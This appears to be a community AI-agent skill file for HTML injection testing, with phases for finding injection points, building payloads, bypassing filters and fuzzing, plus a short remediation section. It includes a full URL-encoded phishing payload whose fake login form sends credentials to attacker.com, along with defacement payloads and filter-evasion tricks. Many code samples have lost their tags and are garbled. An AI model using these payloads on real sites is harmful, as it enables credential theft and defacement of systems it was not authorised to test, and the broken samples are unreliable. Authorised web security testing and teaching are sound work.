--- name: html-injection-testing description: "This skill should be used when the user asks to \"test for HTML injection\", \"inject HTML into web pages\", \"perform HTML injection attacks\", \"deface web applications\", or \"test conten..." risk: unknown source: community date_added: "2026-02-27" --- # HTML Injection Testing ## Purpose Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms. ## Prerequisites ### Required Tools - Web browser with developer tools - Burp Suite or OWASP ZAP - Tamper Data or similar proxy - cURL for testing payloads ### Required Knowledge - HTML fundamentals - HTTP request/response structure - Web application input handling - Difference between HTML injection and XSS ## Outputs and Deliverables 1. **Vulnerability Report** - Identified injection points 2. **Exploitation Proof** - Demonstrated content manipulation 3. **Impact Assessment** - Potential phishing and defacement risks 4. **Remediation Guidance** - Input validation recommendations ## Core Workflow ### Phase 1: Understanding HTML Injection HTML injection occurs when user input is reflected in web pages without proper sanitization: ```html

Welcome,

?name=

Injected Content

Welcome,

Injected Content

``` Key differences from XSS: - HTML injection: Only HTML tags are rendered - XSS: JavaScript code is executed - HTML injection is often stepping stone to XSS Attack goals: - Modify website appearance (defacement) - Create fake login forms (phishing) - Inject malicious links - Display misleading content ### Phase 2: Identifying Injection Points Map application for potential injection surfaces: ``` 1. Search bars and search results 2. Comment sections 3. User profile fields 4. Contact forms and feedback 5. Registration forms 6. URL parameters reflected on page 7. Error messages 8. Page titles and headers 9. Hidden form fields 10. Cookie values reflected on page ``` Common vulnerable parameters: ``` ?name= ?user= ?search= ?query= ?message= ?title= ?content= ?redirect= ?url= ?page= ``` ### Phase 3: Basic HTML Injection Testing Test with simple HTML tags: ```html

Test Injection

Bold Text Italic Text Underlined Text Red Text

Injected DIV

Injected paragraph

Line breaks Click Here Legitimate Link

``` Testing workflow: ```bash # Test basic injection curl "http://target.com/search?q=

Test

" # Check if HTML renders in response curl -s "http://target.com/search?q=Bold" | grep -i "bold" # Test in URL-encoded form curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E" ``` ### Phase 4: Types of HTML Injection #### Stored HTML Injection Payload persists in database: ```html Name: John Doe Bio:

Site Under Maintenance

Please login at portal.company.com

Great article! ``` #### Reflected GET Injection Payload in URL parameters: ```html http://target.com/welcome?name=

Welcome%20Admin

http://target.com/search?q=Your%20account%20has%20been%20compromised ``` #### Reflected POST Injection Payload in POST data: ```bash # POST injection test curl -X POST -d "comment=

Malicious Content

" \ http://target.com/submit # Form field injection curl -X POST -d "name=&email=test@test.com" \ http://target.com/register ``` #### URL-Based Injection Inject into displayed URLs: ```html http://target.com/page/

Injected

http://target.com/users/

/profile ``` ### Phase 5: Phishing Attack Construction Create convincing phishing forms: ```html

Session Expired

Your session has expired. Please log in again.

``` URL-encoded phishing link: ``` http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E ``` ### Phase 6: Defacement Payloads Website appearance manipulation: ```html

HACKED BY SECURITY TESTER

This site has been compromised

SECURITY VULNERABILITY DETECTED ``` ### Phase 7: Advanced Injection Techniques #### CSS Injection ```html

Content

``` #### Meta Tag Injection ```html ``` #### Form Action Override ```html ``` #### iframe Injection ```html ``` ### Phase 8: Bypass Techniques Evade basic filters: ```html

Test

<h1>Encoded</h1> %3Ch1%3EURL%20Encoded%3C%2Fh1%3E Split Tag Null Byte %253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E \u003ch1\u003eUnicode\u003c/h1\u003e

Hover me

``` ### Phase 9: Automated Testing #### Using Burp Suite ``` 1. Capture request with potential injection point 2. Send to Intruder 3. Mark parameter value as payload position 4. Load HTML injection wordlist 5. Start attack 6. Filter responses for rendered HTML 7. Manually verify successful injections ``` #### Using OWASP ZAP ``` 1. Spider the target application 2. Active Scan with HTML injection rules 3. Review Alerts for injection findings 4. Validate findings manually ``` #### Custom Fuzzing Script ```python #!/usr/bin/env python3 import requests import urllib.parse target = "http://target.com/search" param = "q" payloads = [ "

Test

", "Bold", "", "

", "Click", "

Styled

", "Moving", "", ] for payload in payloads: encoded = urllib.parse.quote(payload) url = f"{target}?{param}={encoded}" try: response = requests.get(url, timeout=5) if payload.lower() in response.text.lower(): print(f"[+] Possible injection: {payload}") elif "

" in response.text or "" in response.text: print(f"[?] Partial reflection: {payload}") except Exception as e: print(f"[-] Error: {e}") ``` ### Phase 10: Prevention and Remediation Secure coding practices: ```php // PHP: Escape output echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); // PHP: Strip tags echo strip_tags($user_input); // PHP: Allow specific tags only echo strip_tags($user_input, '
'); ``` ```python # Python: HTML escape from html import escape safe_output = escape(user_input) # Python Flask: Auto-escaping {{ user_input }} # Jinja2 escapes by default {{ user_input | safe }} # Marks as safe (dangerous!) ``` ```javascript // JavaScript: Text content (safe) element.textContent = userInput; // JavaScript: innerHTML (dangerous!) element.innerHTML = userInput; // Vulnerable! // JavaScript: Sanitize const clean = DOMPurify.sanitize(userInput); element.innerHTML = clean; ``` Server-side protections: - Input validation (whitelist allowed characters) - Output encoding (context-aware escaping) - Content Security Policy (CSP) headers - Web Application Firewall (WAF) rules ## Quick Reference ### Common Test Payloads | Payload | Purpose | |---------|---------| | `
Test
` | Basic rendering test | | `Bold` | Simple formatting | | `Link` | Link injection | | `` | Image tag test | | `
` | Style injection | | `
` | Form hijacking | ### Injection Contexts | Context | Test Approach | |---------|---------------| | URL parameter | `?param=
test
` | | Form field | POST with HTML payload | | Cookie value | Inject via document.cookie | | HTTP header | Inject in Referer/User-Agent | | File upload | HTML file with malicious content | ### Encoding Types | Type | Example | |------|---------| | URL encoding | `%3Ch1%3E` = `
` | | HTML entities | `<h1>` = `
` | | Double encoding | `%253C` = `<` | | Unicode | `\u003c` = `<` | ## Constraints and Limitations ### Attack Limitations - Modern browsers may sanitize some injections - CSP can prevent inline styles and scripts - WAFs may block common payloads - Some applications escape output properly ### Testing Considerations - Distinguish between HTML injection and XSS - Verify visual impact in browser - Test in multiple browsers - Check for stored vs reflected ### Severity Assessment - Lower severity than XSS (no script execution) - Higher impact when combined with phishing - Consider defacement/reputation damage - Evaluate credential theft potential ## Troubleshooting | Issue | Solutions | |-------|-----------| | HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context | | Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags | | XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects | ## When to Use This skill is applicable to execute the workflow or actions described in the overview.

html-injection-testing

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